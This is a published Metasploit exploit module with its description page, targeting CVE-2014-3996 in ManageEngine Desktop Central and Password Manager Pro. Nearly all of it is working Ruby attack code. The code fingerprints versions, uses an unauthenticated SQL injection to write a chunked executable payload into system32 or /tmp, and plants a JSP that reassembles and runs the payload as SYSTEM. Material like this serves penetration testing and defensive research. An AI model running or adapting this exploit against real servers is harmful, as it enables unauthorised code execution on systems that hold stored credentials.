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ManageEngine Password Manager MetadataServlet.dat SQL Injection

ManageEngine Password Manager MetadataServlet.dat SQL Injection
Posted Aug 22, 2014
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as the user in Linux. This Metasploit module exploits both PostgreSQL (newer builds) and MySQL (older or upgraded builds). MySQL targets are more reliable due to the use of relative paths; with PostgreSQL you should find the web root path via other means and specify it with WEB_ROOT. The injection is only exploitable via a GET request, which means that the payload has to be sent in chunks smaller than 8000 characters (URL size limitation). Small payloads and the use of exe-small is recommended, as you can only do between 10 and 20 injections before using up all the available ManagedConnections until the next server restart. This vulnerability exists in all versions released since 2006, however builds below DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your luck using the MySQL targets as a JDK might be installed in the $PATH.

tags | exploit, remote, web, root, code execution, sql injection
systems | linux, windows
advisories | CVE-2014-3996
SHA-256 | 2303a20c633607820360bf175e8ddcfcf3d6b6b09c0f821b088c81147d0f9348

ManageEngine Password Manager MetadataServlet.dat SQL Injection

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
'Description' => %q{
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
Password Manager Pro v6 build 6500 to v7 build 7002 (including the MSP versions). The
SQL injection can be used to achieve remote code execution as SYSTEM in Windows or as
the user in Linux. This module exploits both PostgreSQL (newer builds) and MySQL (older
or upgraded builds). MySQL targets are more reliable due to the use of relative paths;
with PostgreSQL you should find the web root path via other means and specify it with
WEB_ROOT.

The injection is only exploitable via a GET request, which means that the payload
has to be sent in chunks smaller than 8000 characters (URL size limitation). Small
payloads and the use of exe-small is recommended, as you can only do between 10 and
20 injections before using up all the available ManagedConnections until the next
server restart.

This vulnerability exists in all versions released since 2006, however builds below
DC v7 70200 and PMP v6 6500 do not ship with a JSP compiler. You can still try your
luck using the MySQL targets as a JDK might be installed in the $PATH.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'References' =>
[
[ 'CVE', '2014-3996' ],
[ 'OSVDB', '110198' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ]
],
'Arch' => ARCH_X86,
'Platform' => %w{ linux win },
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Desktop Central v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\DesktopCentral_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central MSP v8 >= b80200 / v9 < b90039 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\DesktopCentralMSP_Server\\webapps\\DesktopCentral\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Desktop Central [MSP] v7 >= b70200 / v8 / v9 < b90039 (MySQL) on Windows',
{
'WebRoot' => '../../webapps/DesktopCentral/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Windows',
{
'WebRoot' => 'C:\\ManageEngine\\PMP\\webapps\\PassTrix\\',
'Database' => 'postgresql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Windows',
{
'WebRoot' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'win'
}
],
[ 'Password Manager Pro [MSP] v6 >= b6800 / v7 < b7003 (PostgreSQL) on Linux',
{
'WebRoot' => '/opt/ManageEngine/PMP/webapps/PassTrix/',
'Database' => 'postgresql',
'Platform' => 'linux'
}
],
[ 'Password Manager Pro v6 >= b6500 / v7 < b7003 (MySQL) on Linux',
{
'WebRoot' => '../../webapps/PassTrix/',
'Database' => 'mysql',
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Privileged' => false, # Privileged on Windows but not on Linux targets
'DisclosureDate' => "Jun 8 2014"))

register_options(
[
OptPort.new('RPORT',
[true, 'The target port', 8020]),
OptString.new('WEB_ROOT',
[false, 'Slash terminated web server root filepath (escape Windows paths with 4 slashes \\\\\\\\)'])
], self.class)

register_advanced_options(
[
OptInt.new('CHUNK_SIZE',
[true, 'Number of characters to send per request (< 7800)', 7500]),
OptInt.new('SLEEP',
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
OptBool.new('EXE_SMALL',
[true, 'Use exe-small encoding for better reliability', true]),
], self.class)

end

def check
check_code = check_desktop_central

if check_code == Exploit::CheckCode::Unknown
check_code = check_password_manager_pro
end

check_code
end

def exploit
@my_target = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
else
print_status("#{peer} - Selected target #{@my_target.name}")
end

# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case to avoid polluting the web root any more.
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /windows/i
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end

if datastore['WEB_ROOT']
web_root = datastore['WEB_ROOT']
else
web_root = @my_target['WebRoot']
end

jsp_name = rand_text_alpha_lower(8) + ".jsp"
fullpath = web_root + jsp_name
inject_exec(fullpath)
register_file_for_cleanup(fullpath.sub('../',''))

print_status("#{peer} - Requesting #{jsp_name}")
send_request_raw({'uri' => normalize_uri(jsp_name)})
end

# Test for Password Manager Pro
def password_manager_paths
db_paths = {}

res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})

if res && res.code == 200 && res.body.to_s =~ /ManageEngine Password Manager Pro/
if datastore['WEB_ROOT']
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
db_paths[:mysql] = datastore['WEB_ROOT'].dup
else
db_paths[:postgresql] = targets[4]['WebRoot'].dup
db_paths[:mysql] = targets[5]['WebRoot'].dup
end
end

db_paths
end

# Test for Desktop Central
def desktop_central_db_paths
db_paths = {}
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})

if res && res.code == 200 && res.body.to_s =~ /ManageEngine Desktop Central/
if datastore['WEB_ROOT']
db_paths[:postgresql] = datastore['WEB_ROOT'].dup
db_paths[:mysql] = datastore['WEB_ROOT'].dup
elsif res.body.to_s =~ /ManageEngine Desktop Central MSP/
db_paths[:postgresql] = targets[2]['WebRoot'].dup
db_paths[:mysql] = targets[3]['WebRoot'].dup
else
db_paths[:postgresql] = targets[1]['WebRoot'].dup
db_paths[:mysql] = targets[3]['WebRoot'].dup
end
end

db_paths
end

def db_paths
paths = desktop_central_db_paths

if paths.empty?
paths = check_password_manager_pro
end

paths
end

def pick_mysql_target(mysql_path, rand_txt)
file_path = mysql_path << rand_txt

# @@version_compile_os will give us Win32 / Win64 if it's a Windows target
inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")

res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})

if res && res.code == 200
register_file_for_cleanup(file_path.sub('../',''))
if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/
if mysql_path =~ /DesktopCentral/
# Desktop Central [MSP] / MySQL / Windows
return targets[3]
else
# Password Manager Pro / MySQL / Windows
return targets[5]
end
else
# Password Manager Pro / MySQL / Linux
return targets[7]
end
end

nil
end

def pick_postgres_target(postgresql_path, rand_txt)
file_path = postgresql_path << rand_txt

# version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")

res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})

if res && res.code == 200
register_file_for_cleanup(file_path)
if res.body.to_s =~ /Visual C++/
if postgresql_path =~ /DesktopCentral_Server/
# Desktop Central / PostgreSQL / Windows
return targets[1]
elsif postgresql_path =~ /DesktopCentralMSP_Server/
# Desktop Central MSP / PostgreSQL / Windows
return targets[2]
else
# Password Manager Pro / PostgreSQL / Windows
return targets[4]
end
elsif res.body.to_s =~ /linux/
# This is for the case when WEB_ROOT is provided
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
end
end

# OK, it's Password Manager Pro on Linux, probably using PostgreSQL and
# no WEB_ROOT was provided. Let's try one of the defaults before bailing out.
file_path = targets[5]['WebRoot'].dup << rand_txt
inject_sql("copy (select version()) to '#{file_path}'", "postgresql")

res = send_request_cgi({
'uri' => normalize_uri(rand_txt),
'method' => 'GET'
})

if res && res.code == 200 && res.body.to_s =~ /linux/
# Password Manager Pro / PostgreSQL / Linux
return targets[6]
end

nil
end

def pick_target
return target if target.name != 'Automatic'

print_status("#{peer} - Selecting target, this might take a few seconds...")
rand_txt = rand_text_alpha_lower(8) << ".txt"

paths = db_paths

if paths.empty?
# We don't know what this is, bail
return nil
end

postgresql_path = paths[:postgresql]
mysql_path = paths[:mysql]

# try MySQL first, there are probably more of these out there
mysql_target = pick_mysql_target(mysql_path, rand_txt)

unless mysql_target.nil?
return mysql_target
end

# didn't work, let's try PostgreSQL
postgresql_target = pick_postgres_target(postgresql_path, rand_txt)

postgresql_target
end

#
# Creates the JSP that will assemble the payload on the server
#
def generate_jsp_encoded(files)
native_payload_name = rand_text_alpha(rand(6)+3)
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

var_raw = rand_text_alpha(rand(8) + 3)
var_ostream = rand_text_alpha(rand(8) + 3)
var_buf = rand_text_alpha(rand(8) + 3)
var_decoder = rand_text_alpha(rand(8) + 3)
var_tmp = rand_text_alpha(rand(8) + 3)
var_path = rand_text_alpha(rand(8) + 3)
var_proc2 = rand_text_alpha(rand(8) + 3)
var_files = rand_text_alpha(rand(8) + 3)
var_ch = rand_text_alpha(rand(8) + 3)
var_istream = rand_text_alpha(rand(8) + 3)
var_file = rand_text_alpha(rand(8) + 3)

files_decl = "{ "
files.each { |file| files_decl << "\"#{file}\"," }
files_decl[-1] = "}"

if @my_target['Platform'] == 'linux'
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
chmod = %Q|
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
Thread.sleep(200);
|

var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
cleanup = %Q|
Thread.sleep(200);
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
|
else
chmod = ''
cleanup = ''
end

jsp = %Q|
<%@page import="java.io.*"%>
<%@page import="sun.misc.BASE64Decoder"%>
<%
String[] #{var_files} = #{files_decl};
try {
int #{var_ch};
StringBuilder #{var_buf} = new StringBuilder();
for (String #{var_file} : #{var_files}) {
BufferedInputStream #{var_istream} =
new BufferedInputStream(new FileInputStream(#{var_file}));
while((#{var_ch} = #{var_istream}.read())!= -1)
#{var_buf}.append((char)#{var_ch});
#{var_istream}.close();
}

BASE64Decoder #{var_decoder} = new BASE64Decoder();
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
String #{var_path} = #{var_tmp}.getAbsolutePath();

BufferedOutputStream #{var_ostream} =
new BufferedOutputStream(new FileOutputStream(#{var_path}));
#{var_ostream}.write(#{var_raw});
#{var_ostream}.close();
#{chmod}
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
#{cleanup}
} catch (Exception e) {
}
%>
|

jsp = jsp.gsub(/\n/, '')
jsp = jsp.gsub(/\t/, '')

if @my_target['Database'] == 'postgresql'
# Ruby's base64 encoding adds newlines at every 60 chars, strip them
[jsp].pack("m*").gsub(/\n/, '')
else
# Assuming mysql, applying hex encoding instead
jsp.unpack("H*")[0]
end
end


def inject_sql(sqli_command, target = nil)
target = (target == nil) ? @my_target['Database'] : target
if target == 'postgresql'
sqli_prefix = "viewname\";"
sqli_suffix = ";-- "
else
# Assuming mysql
sqli_prefix = "viewname\" union "
sqli_suffix = "#"
end

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("LinkViewFetchServlet.dat"),
'vars_get' => {
'sv' => sqli_prefix << sqli_command << sqli_suffix
}
})

if target == 'postgresql'
# PostgreSQL sometimes takes a while to write to the disk, so sleep more
sleep(datastore['SLEEP'] * 2.5)
else
# Assuming mysql
sleep(datastore['SLEEP'])
end
end

# Generate the actual payload
def generate_exe_payload
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win'
exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform,
payload.encoded, "exe-small", opts)
else
exe = generate_payload_exe(opts)
end
Rex::Text.encode_base64(exe)
end

# Uploads the payload in chunks
def inject_exec(fullpath)
base64_exe = generate_exe_payload
base64_exe_len = base64_exe.length

# We will be injecting in CHUNK_SIZE steps
chunk_size = datastore['CHUNK_SIZE']
copied = 0
counter = 0
if base64_exe_len < chunk_size
chunk_size = base64_exe_len
end
chunks = (base64_exe_len.to_f / chunk_size).ceil
time = chunks * datastore['SLEEP'] *
((@my_target['Database'] == 'postgresql') ? 2.5 : 1)

# We dump our files in either C:\Windows\system32 or /tmp
# It's not very clean, but when using a MySQL target we have no other choice
# as we are using relative paths for injection.
# The Windows path has to be escaped with 4 backslashes because ruby eats one
# and the JSP eats the other.
files = Array.new(chunks)
files.map! do |file|
if @my_target['Platform'] == 'win'
file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3)
else
# Assuming Linux, let's hope we can write to /tmp
file = "/tmp/" + rand_text_alpha(rand(8)+3)
end
end

print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds")

if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1

while copied < base64_exe_len
if (copied + chunk_size) > base64_exe_len
# Last loop
chunk_size = base64_exe_len - copied
end
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
else
# Assuming mysql
inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
end
register_file_for_cleanup(files[counter])
copied += chunk_size
counter += 1
end

jsp_encoded = generate_jsp_encoded(files)
if @my_target['Database'] == 'postgresql'
inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'")
else
inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'")
end
end

def check_desktop_central_8(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
if ver_gt(build, '80200')
print_status("#{peer} - Detected Desktop Central v8 #{build}")
else
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
end
else
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
end
# DC v8 < 80200 uses the MySQL database
Exploit::CheckCode::Appears
end

def check_desktop_central_9(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
print_status("#{peer} - Detected Desktop Central v9 #{build}")
if ver_lt(build, '90039')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end

# Test for Desktop Central
def check_desktop_central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})

unless res && res.code == 200
return Exploit::CheckCode::Unknown
end

if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
# DC v7 uses the MySQL database
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
return check_desktop_central_8(res.body.to_s)
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
return check_desktop_central_9(res.body.to_s)
end

Exploit::CheckCode::Unknown
end

# Test for Password Manager Pro
def check_password_manager_pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})

if res && res.code == 200 &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
)
build = $1
else
return Exploit::CheckCode::Unknown
end


if ver_lt_eq(build, '6500')
# if it's a build below 6500, it will only work if we have a JSP compiler
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
return Exploit::CheckCode::Detected
elsif ver_lt(build, '6800')
# PMP v6 < 6800 uses the MySQL database
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
return Exploit::CheckCode::Appears
elsif ver_lt(build, '7003')
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
return Exploit::CheckCode::Appears
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
Exploit::CheckCode::Safe
end
end

def ver_lt(a, b)
Gem::Version.new(a) < Gem::Version.new(b)
end

def ver_lt_eq(a, b)
Gem::Version.new(a) <= Gem::Version.new(b)
end

def ver_gt_eq(a, b)
Gem::Version.new(a) >= Gem::Version.new(b)
end

def ver_gt(a, b)
Gem::Version.new(a) > Gem::Version.new(b)
end
end
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